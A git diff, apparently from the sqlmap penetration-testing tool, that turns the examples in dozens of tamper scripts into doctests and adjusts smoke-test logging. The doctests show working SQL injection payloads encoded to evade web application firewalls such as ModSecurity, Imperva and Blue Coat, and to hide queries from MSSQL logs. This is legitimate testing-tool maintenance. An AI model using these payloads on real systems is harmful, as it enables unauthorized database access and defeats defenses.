diff --git a/lib/core/common.py b/lib/core/common.py index 90476664a..66a3d9b69 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -736,7 +736,7 @@ def singleTimeLogMessage(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) - if flag not in kb.singleLogFlags: + if not conf.smokeTest and flag not in kb.singleLogFlags: kb.singleLogFlags.add(flag) logger.log(level, message) diff --git a/lib/core/testing.py b/lib/core/testing.py index dd75d08a1..d09fd486c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -41,8 +41,9 @@ failedTraceBack = None def smokeTest(): """ - This will run the basic smoke testing of a program + Runs the basic smoke testing of a program """ + retVal = True count, length = 0, 0 @@ -106,8 +107,9 @@ def adjustValueType(tagName, value): def liveTest(): """ - This will run the test of a program against the live testing environment + Runs the test of a program against the live testing environment """ + global failedItem global failedParseOn global failedTraceBack diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 27389b576..a157bb8ae 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -16,15 +16,14 @@ def tamper(payload, **kwargs): """ Replaces apostrophe character with its UTF-8 full width counterpart - Example: - * Input: AND '1'='1' - * Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87 - References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * http://lukasz.pilorz.net/testy/unicode_conversion/ * http://sla.ckers.org/forum/read.php?13,11562,11850 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps + + >>> tamper("1 AND '1'='1") + '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 6d2c10937..67066b251 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -16,9 +16,8 @@ def tamper(payload, **kwargs): """ Replaces apostrophe character with its illegal double unicode counterpart - Example: - * Input: AND '1'='1' - * Output: AND %00%271%00%27=%00%271%00%27 + >>> tamper("1 AND '1'='1") + '1 AND %00%271%00%27=%00%271' """ return payload.replace('\'', "%00%27") if payload else payload diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 5dfee8c79..b15e179be 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -16,10 +16,6 @@ def tamper(payload, **kwargs): """ Appends encoded NULL byte character at the end of payload - Example: - * Input: AND 1=1 - * Output: AND 1=1%00 - Requirement: * Microsoft Access @@ -29,6 +25,9 @@ def tamper(payload, **kwargs): also possible Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection + + >>> tamper('1 AND 1=1') + '1 AND 1=1%00' """ return "%s%%00" % payload if payload else payload diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 2f9832dcc..a417de3aa 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -18,9 +18,8 @@ def tamper(payload, **kwargs): """ Base64 all characters in a given payload - Example: - * Input: 1' AND SLEEP(5)# - * Output: MScgQU5EIFNMRUVQKDUpIw== + >>> tamper("1' AND SLEEP(5)#") + 'MScgQU5EIFNMRUVQKDUpIw==' """ return base64.b64encode(payload) if payload else payload diff --git a/tamper/between.py b/tamper/between.py index f5f781548..bcb636de4 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -18,10 +18,6 @@ def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' - Example: - * Input: 'A > B' - * Output: 'A NOT BETWEEN 0 AND B' - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -33,6 +29,9 @@ def tamper(payload, **kwargs): filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases + + >>> tamper('1 AND A > B--') + '1 AND A NOT BETWEEN 0 AND B--' """ retVal = payload diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index c5ba2ee39..ec84e4fe5 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -19,10 +19,6 @@ def tamper(payload, **kwargs): Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator - Example: - * Input: SELECT id FROM users where id = 1 - * Output: SELECT%09id FROM users where id LIKE 1 - Requirement: * Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147 @@ -32,12 +28,15 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass Blue Coat's recommended WAF rule configuration + + >>> tamper('SELECT id FROM users where id = 1') + 'SELECT%09id FROM users where id LIKE 1' """ retVal = payload if payload: - retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>\t", payload) + retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>%09", payload) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) return retVal diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 30a749c06..cccdf4825 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -19,14 +19,13 @@ def tamper(payload, **kwargs): Double url-encodes all characters in a given payload (not processing already encoded) - Example: - * Input: SELECT FIELD FROM%20TABLE - * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 - Notes: * Useful to bypass some weak web application firewalls that do not double url-decode the request before processing it through their ruleset + + >>> tamper('SELECT FIELD FROM%20TABLE') + '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' """ retVal = payload @@ -37,7 +36,7 @@ def tamper(payload, **kwargs): while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: - retVal += payload[i:i + 3] + retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) diff --git a/tamper/charencode.py b/tamper/charencode.py index ff93d174d..29ebf8fef 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -19,10 +19,6 @@ def tamper(payload, **kwargs): Url-encodes all characters in a given payload (not processing already encoded) - Example: - * Input: SELECT FIELD FROM%20TABLE - * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -34,6 +30,9 @@ def tamper(payload, **kwargs): url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS + + >>> tamper('SELECT FIELD FROM%20TABLE') + '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' """ retVal = payload diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index c509aec37..30d0a9526 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -21,10 +21,6 @@ def tamper(payload, **kwargs): Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) - Example: - * Input: SELECT FIELD%20FROM TABLE - * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045' - Requirement: * ASP * ASP.NET @@ -39,6 +35,9 @@ def tamper(payload, **kwargs): * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset + + >>> tamper('SELECT FIELD%20FROM TABLE') + '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' """ retVal = payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 52a80e7b7..5ce611c04 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -21,10 +21,6 @@ def tamper(payload, **kwargs): """ Replaces all occurances of operator equal ('=') with operator 'LIKE' - Example: - * Input: SELECT * FROM users WHERE id=1 - * Output: SELECT * FROM users WHERE id LIKE 1 - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -34,6 +30,9 @@ def tamper(payload, **kwargs): filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases + + >>> tamper('SELECT * FROM users WHERE id=1') + 'SELECT * FROM users WHERE id LIKE 1' """ def process(match): diff --git a/tamper/greatest.py b/tamper/greatest.py index 8b0abe058..c5fc267c5 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -18,10 +18,6 @@ def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'GREATEST' counterpart - Example: - * Input: 'A > B' - * Output: 'GREATEST(A, B + 1) = A' - Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g @@ -32,6 +28,9 @@ def tamper(payload, **kwargs): filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases + + >>> tamper('1 AND A > B') + '1 AND GREATEST(A,B+1)=A' """ retVal = payload diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 6a2d18c75..971ac1c83 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -23,10 +23,6 @@ def tamper(payload, **kwargs): """ Adds versioned MySQL comment before each keyword - Example: - * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa - * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa - Requirement: * MySQL < 5.1 @@ -38,6 +34,9 @@ def tamper(payload, **kwargs): back-end database management system is MySQL * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html + + >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") + "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index c8e2fd44a..253d0e264 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -16,10 +16,6 @@ def tamper(payload, **kwargs): """ Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' - Example: - * Input: IFNULL(1, 2) - * Output: IF(ISNULL(1), 2, 1) - Requirement: * MySQL * SQLite (possibly) @@ -31,6 +27,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function + + >>> tamper('IFNULL(1, 2)') + 'IF(ISNULL(1),2,1)' """ if payload and payload.find("IFNULL") > -1: @@ -55,7 +54,7 @@ def tamper(payload, **kwargs): if comma and end: _ = payload[index + len("IFNULL("):comma] - __ = payload[comma + 1:end] + __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 47ada21c1..c2d031850 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -17,10 +17,6 @@ def tamper(payload, **kwargs): """ Embraces complete query with versioned comment - Example: - * Input: 1 AND 2>1-- - * Output: 1 /*!30000AND 2>1*/-- - Requirement: * MySQL @@ -29,6 +25,11 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass ModSecurity WAF/IDS + + >>> import random + >>> random.seed(0) + >>> tamper('1 AND 2>1--') + '1 /*!30874AND 2>1*/--' """ retVal = payload diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index f1548db78..7adc233b4 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -16,10 +16,6 @@ def tamper(payload, **kwargs): """ Embraces complete query with zero-versioned comment - Example: - * Input: 1 AND 2>1-- - * Output: 1 /*!00000AND 2>1*/-- - Requirement: * MySQL @@ -28,6 +24,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass ModSecurity WAF/IDS + + >>> tamper('1 AND 2>1--') + '1 /*!00000AND 2>1*/--' """ retVal = payload diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index ec4303b78..95e9c23e0 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -20,15 +20,15 @@ def tamper(payload, **kwargs): """ Adds multiple spaces around SQL keywords - Example: - * Input: UNION SELECT - * Output: UNION SELECT - Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt + + >>> random.seed(0) + >>> tamper('1 UNION SELECT foobar') + '1 UNION SELECT foobar' """ retVal = payload diff --git a/tamper/nonrecursivereplacement.py b/tamper/nonrecursivereplacement.py index c5b4a8918..19a71060f 100644 --- a/tamper/nonrecursivereplacement.py +++ b/tamper/nonrecursivereplacement.py @@ -18,12 +18,12 @@ def tamper(payload, **kwargs): Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters - Example: - * Input: 1 UNION SELECT 2-- - * Output: 1 UNUNIONION SELSELECTECT 2-- - Notes: * Useful to bypass very weak custom filters + + >>> random.seed(0) + >>> tamper('1 UNION SELECT 2--') + '1 UNIOUNIONN SELESELECTCT 2--' """ keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") diff --git a/tamper/percentage.py b/tamper/percentage.py index 71bb40bc9..50af6edd9 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -20,10 +20,6 @@ def tamper(payload, **kwargs): """ Adds a percentage sign ('%') infront of each character - Example: - * Input: SELECT FIELD FROM TABLE - * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E - Requirement: * ASP @@ -34,6 +30,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT FIELD FROM TABLE') + '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ if payload: diff --git a/tamper/randomcase.py b/tamper/randomcase.py index b8da136a5..05b6fc9e1 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -20,10 +20,6 @@ def tamper(payload, **kwargs): """ Replaces each keyword character with random case value - Example: - * Input: INSERT - * Output: InsERt - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -34,6 +30,11 @@ def tamper(payload, **kwargs): * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases + + >>> import random + >>> random.seed(0) + >>> tamper('INSERT') + 'INseRt' """ retVal = payload diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index a81f63f56..759972894 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -16,7 +16,11 @@ __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Add random comments to SQL keywords - Example: 'INSERT' becomes 'IN/**/S/**/ERT' + + >>> import random + >>> random.seed(0) + >>> tamper('INSERT') + 'I/**/N/**/SERT' """ retVal = payload diff --git a/tamper/securesphere.py b/tamper/securesphere.py index 9b9a8e8f1..ff3a65219 100644 --- a/tamper/securesphere.py +++ b/tamper/securesphere.py @@ -16,13 +16,12 @@ def tamper(payload, **kwargs): """ Appends special crafted string - Example: - * Input: AND 1=1 - * Output: AND 1=1 and '0having'='0having' - Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: http://seclists.org/fulldisclosure/2011/May/163 + + >>> tamper('1 AND 1=1') + "1 AND 1=1 and '0having'='0having'" """ return payload + " and '0having'='0having'" if payload else payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py index af7934aba..e668a28f5 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -13,16 +13,15 @@ def tamper(payload, **kwargs): """ Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs - Example: - * Input: 1 AND 9227=9227-- - * Output: 1 AND 9227=9227--sp_password - Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection + + >>> tamper('1 AND 9227=9227-- ') + '1 AND 9227=9227-- sp_password' """ retVal = "" diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 89022472d..755b2c616 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -16,10 +16,6 @@ def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' - Example: - * Input: SELECT id FROM users - * Output: SELECT/**/id/**/FROM/**/users - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -28,6 +24,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT id FROM users') + 'SELECT/**/id/**/FROM/**/users' """ retVal = payload diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 2362fdee0..0b0fe69dd 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -17,20 +17,18 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') - Example: - * Input: 1 AND 9227=9227 - * Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227 - Requirement: * MSSQL * SQLite - Tested against: - Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ + + >>> random.seed(0) + >>> tamper('1 AND 9227=9227') + '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' """ retVal = "" diff --git a/tamper/space2hash.py b/tamper/space2hash.py index e02718506..c126ba38d 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -23,10 +23,6 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') - Example: - * Input: 1 AND 9227=9227 - * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 - Requirement: * MySQL @@ -37,6 +33,10 @@ def tamper(payload, **kwargs): * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html + + >>> random.seed(0) + >>> tamper('1 AND 9227=9227') + '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' """ retVal = "" diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 6d759b9e8..0ebc76abd 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -26,10 +26,6 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') - Example: - * Input: 1 AND 9227=9227 - * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 - Requirement: * MySQL >= 5.1.13 @@ -40,6 +36,10 @@ def tamper(payload, **kwargs): * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html + + >>> random.seed(0) + >>> tamper('1 AND 9227=9227') + '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' """ def process(match): diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 22f7f3906..b9f4dd1b4 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -22,10 +22,6 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a random blank character from a valid set of alternate characters - Example: - * Input: SELECT id FROM users - * Output: SELECT%08id%02FROM%0Fusers - Requirement: * Microsoft SQL Server @@ -35,6 +31,10 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass several web application firewalls + + >>> random.seed(0) + >>> tamper('SELECT id FROM users') + 'SELECT%0Eid%0DFROM%07users' """ # ASCII table: diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index d72d8f07c..9de9539a7 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -14,16 +14,15 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') - Example: - * Input: 1 AND 9227=9227 - * Output: 1%23%0A9227=9227 - Requirement: * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls + + >>> tamper('1 AND 9227=9227') + '1%23%0AAND%23%0A9227=9227' """ retVal = "" diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 0eb3924ac..facd9b718 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -22,10 +22,6 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a random blank character from a valid set of alternate characters - Example: - * Input: SELECT id FROM users - * Output: SELECT%0Bid%0BFROM%A0users - Requirement: * MySQL @@ -34,6 +30,10 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass several web application firewalls + + >>> random.seed(0) + >>> tamper('SELECT id FROM users') + 'SELECT%A0id%0BFROM%0Cusers' """ # ASCII table: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index e7a4d4d53..eae93e8bb 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -21,10 +21,6 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') - Example: - * Input: 1 AND 9227=9227 - * Output: 1--%0AAND--%0A9227=9227 - Requirement: * MySQL * MSSQL @@ -33,6 +29,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass several web application firewalls. + + >>> tamper('1 AND 9227=9227') + '1--%0AAND--%0A9227=9227' """ retVal = "" diff --git a/tamper/space2plus.py b/tamper/space2plus.py index ede26ba09..c2d87cbf2 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -16,14 +16,13 @@ def tamper(payload, **kwargs): """ Replaces space character (' ') with plus ('+') - Example: - * Input: SELECT id FROM users - * Output: SELECT+id+FROM+users - Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases + + >>> tamper('SELECT id FROM users') + 'SELECT+id+FROM+users' """ retVal = payload diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 4114cf2a1..054fe260a 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -19,10 +19,6 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a random blank character from a valid set of alternate characters - Example: - * Input: SELECT id FROM users - * Output: SELECT\rid\tFROM\nusers - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -31,6 +27,10 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass several web application firewalls + + >>> random.seed(0) + >>> tamper('SELECT id FROM users') + 'SELECT%0Did%0DFROM%0Ausers' """ # ASCII table: diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 8421176de..eecf5e66e 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -16,9 +16,8 @@ def tamper(payload, **kwargs): """ Replaces UNION ALL SELECT with UNION SELECT - Example: - * Input: -1 UNION ALL SELECT - * Output: -1 UNION SELECT + >>> tamper('-1 UNION ALL SELECT') + '-1 UNION SELECT' """ return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 9170e6642..78c391efa 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -19,15 +19,14 @@ def tamper(payload, **kwargs): Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) - Example: - * Input: 1' AND 1=1 - * Output: 1%bf%27 AND 1=1--%20 - Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string + + >>> tamper("1' AND 1=1") + '1%bf%27 AND 1=1-- ' """ retVal = payload diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index b2d392fd3..203325c85 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -22,10 +22,6 @@ def tamper(payload, **kwargs): """ Encloses each non-function keyword with versioned MySQL comment - Example: - * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# - * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# - Requirement: * MySQL @@ -35,6 +31,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') + '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' """ def process(match): diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 6cad83a77..c4ddfd8a7 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -23,10 +23,6 @@ def tamper(payload, **kwargs): """ Encloses each keyword with versioned MySQL comment - Example: - * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# - * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# - Requirement: * MySQL >= 5.1.13 @@ -36,6 +32,9 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') + '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' """ def process(match):